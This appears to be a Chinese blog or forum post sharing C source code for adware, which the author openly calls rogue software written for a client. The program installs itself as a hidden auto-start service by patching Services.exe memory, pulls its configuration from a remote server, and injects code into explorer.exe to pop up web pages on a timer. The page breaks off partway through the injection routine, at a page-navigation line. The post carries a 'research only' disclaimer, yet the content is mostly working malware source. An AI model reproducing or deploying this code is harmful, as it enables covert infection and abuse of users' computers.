ps:请勿用于非法用途,仅供技术研究之用。
by:yunshu
这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
这个是主函数,安装,读取配置,注入代码用的。 代码: /************************************************************************************************** * 1. 给XX作的流氓软件 * 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。 **************************************************************************************************/ #include <stdio.h> #include <stdlib.h> #include <Winsock2.h> #include <windows.h> #include <Tlhelp32.h>
// 是否记录日志 //#define DEBUG #ifdef DEBUG #define DEBUG_LOG "c:\debug.txt" // 日志记录函数 void LogToFile( WCHAR * ); #endif
#include "ControlService.h" #include "HideService.h" #include "CustomFunction.h"
#pragma comment (lib, "Advapi32.lib") #pragma comment (lib, "Shell32.lib") #pragma comment (lib, "ws2_32.lib") #pragma comment (lib, "User32.lib")
#define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度 #define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程 #define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器 #define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径 #define IE_PATH "C:\Program Files\Internet Explorer\iexplore.exe" #define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口 #define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间
// 宏,转换字符串为unicode #define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );
// 弹出窗口之间的间隔时间 int sleep_time;
// 弹出的url地址 char url_path[512] = { 0 };
/************************************************************************************************** * 函数原形 **************************************************************************************************/
void ServiceMain( DWORD, char **); //服务入口 BOOL SetDebugPrivilege( ); //获取debug权限 DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID void InjectCode( ); //写代码到远程进程 void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间
/************************************************************************************************** * 程序入口,主函数 **************************************************************************************************/ int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径 SERVICE_TABLE_ENTRY serviceTable[2]; serviceTable[0].lpServiceName = SERVICE_NAME; serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;
serviceTable[1].lpServiceName = NULL; serviceTable[1].lpServiceProc = NULL;
GetModuleFileName( NULL, filePath, MAX_PATH ); // 如果服务未安装,安装 if( !ServiceExists( filePath ) ) { if( ServiceInstall( filePath ) != TRUE ) { return -1; } else { return 0; } } if( !StartServiceCtrlDispatcher( serviceTable ) ) { #ifdef DEBUG WCHAR tmp[256] = { 0 }; wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return -1; } return 0; }
/************************************************************************************************** * 服务入口 **************************************************************************************************/ void ServiceMain( DWORD argc, char *argv[] ) { serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; serviceStatus.dwCurrentState = SERVICE_START_PENDING; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; serviceStatus.dwWin32ExitCode = 0; serviceStatus.dwServiceSpecificExitCode = 0; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; #ifdef DEBUG LogToFile( L"ServiceMain: Try to register service\n" ); #endif hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl ); if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 ) { #ifdef DEBUG WCHAR tmp[256] = { 0 }; wsprintf( tmp, L"ServiceMain: Register service error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return; }
serviceStatus.dwCurrentState = SERVICE_RUNNING; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; if( !SetServiceStatus( hServiceStatus, &serviceStatus ) ) { #ifdef DEBUG WCHAR tmp[256] = { 0 }; swprintf( tmp, L"ServiceMain: Start service error: %d\n", GetLastError() ); LogToFile( tmp ); #endif return; }
#ifdef DEBUG LogToFile( L"ServiceMain: Start service ok\n" ); #endif // 隐藏服务 HideService( SERVICE_NAME );
// 从网络读取配置 GetConfig( );
// 注入代码 InjectCode( );
serviceStatus.dwCurrentState = SERVICE_STOPPED; if( !SetServiceStatus( hServiceStatus, &serviceStatus) ) { #ifdef DEBUG WCHAR tmp[256] = { 0 }; wsprintf( tmp, L"ServiceMain: Stop service error: %d\n", GetLastError() ); LogToFile( tmp ); #endif }
#ifdef DEBUG LogToFile( L"Stop service in main.\n" ); #endif #ifdef DEBUG LogToFile( L"ServiceMain Done.\n" ); #endif
return; }
void InjectCode( ) { if( ! SetDebugPrivilege() ) { #ifdef DEBUG LogToFile( L"Set Debug Privileges error.\n" ); #endif
return; }
DWORD dwPID = -1; while( 1 ) { dwPID = GetProcessIdByName( TARGET_PROCESS ); if( -1 != dwPID ) { #ifdef DEBUG WCHAR tmp[256] = { 0 }; wsprintf( tmp, L"Target process id is %d\n", dwPID ); LogToFile( tmp ); #endif
break; }
#ifdef DEBUG LogToFile( L"Target process not found, sleep and continue.\n" ); #endif
Sleep( 30 * 1000 ); }
Sleep( 2 * 60 * 1000 );
// 打开进程 HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID ); if( ! hProcess ) { #ifdef DEBUG LogToFile( L"OpenProcess error.\n" ); #endif
return; }
//计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变 Arguments arguments; memset( (void *)&arguments, 0, sizeof(Arguments) ); HMODULE hKernel = GetModuleHandleA( "kernel32" ); if( hKernel == NULL ) { #ifdef DEBUG LogToFile( L"GetModuleHandle kernel32.dll error.\n" ); #endif
return; } arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" ); arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );
strcpy( arguments.MyKernelDll, "kernel32.dll" ); strcpy( arguments.MyProgram, IE_PATH ); strcpy( arguments.MyShellDll, "Shell32.dll" ); strcpy( arguments.MyShellExecute, "ShellExecuteA" ); strcpy( arguments.MyUrl, url_path ); strcpy( arguments.MyZeroMemory, "RtlZeroMemory" ); arguments.SleepTime = sleep_time;
// 在远程进程中分配内存存放参数,可写权限 Arguments *remote_agrument = (Arguments *)VirtualAllocEx( hProcess, 0, sizeof(Arguments), MEM_COMMIT, PAGE_READWRITE ); if( !remote_agrument ) { #ifdef DEBUG LogToFile( L"VirtualAllocEx for arguments error.\n" ); #endif
return; }
1 2 3 4 5 下一页 |